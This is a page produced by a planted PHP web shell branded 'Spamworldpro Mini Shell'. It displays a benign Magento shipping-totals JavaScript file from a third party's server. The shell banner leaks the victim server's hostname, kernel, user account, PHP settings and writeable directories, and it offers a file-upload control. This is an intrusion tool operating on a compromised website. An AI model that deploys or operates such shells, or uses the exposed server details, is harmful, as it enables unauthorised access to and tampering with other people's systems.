Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/Ecombricks/InventoryTax/view/frontend/web/js/product/estimate/totals/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/Ecombricks/InventoryTax/view/frontend/web/js/product/estimate/totals/shipping.js
/**
 * Copyright © eComBricks. All rights reserved.
 * See LICENSE.txt for license details.
 */
define([
    'Ecombricks_InventoryCatalog/js/product/estimate/totals/shipping'
], function (Component) {
    'use strict';
    
    var displayMode = window.checkoutConfig.reviewShippingDisplayMode;
    
    return Component.extend({

        defaults: {
            displayMode: displayMode,
            template: 'Ecombricks_InventoryTax/product/estimate/totals/shipping'
        },
        
        /**
         * Check if is both prices displayed
         * 
         * @returns {Boolean}
         */
        isBothPricesDisplayed: function () {
            return this.displayMode === 'both';
        },
        
        /**
         * Check if is including displayed
         * 
         * @returns {Boolean}
         */
        isIncludingDisplayed: function () {
            return this.displayMode === 'including';
        },
        
        /**
         * Check if is excluding displayed
         * 
         * @returns {Boolean}
         */
        isExcludingDisplayed: function () {
            return this.displayMode === 'excluding';
        },
        
        /**
         * Get including value
         * 
         * @param {String} sourceCode
         * @returns {String}
         */
        getIncludingValue: function (sourceCode) {
            if (!this.isCalculated(sourceCode)) {
                return this.notCalculatedMessage;
            }
            var price = 0;
            var totals = this.getSourceQuoteTotals(sourceCode);
            if (totals) {
                price = totals.shipping_incl_tax;
            }
            return this.getFormattedPrice(price);
        },
        
        /**
         * Get excluding value
         * 
         * @param {String} sourceCode
         * @returns {String}
         */
        getExcludingValue: function (sourceCode) {
            if (!this.isCalculated(sourceCode)) {
                return this.notCalculatedMessage;
            }
            var price = 0;
            var totals = this.getSourceQuoteTotals(sourceCode);
            if (totals) {
                price = totals.shipping_amount;
            }
            return this.getFormattedPrice(price);
        }
        
    });
});

Spamworldpro Mini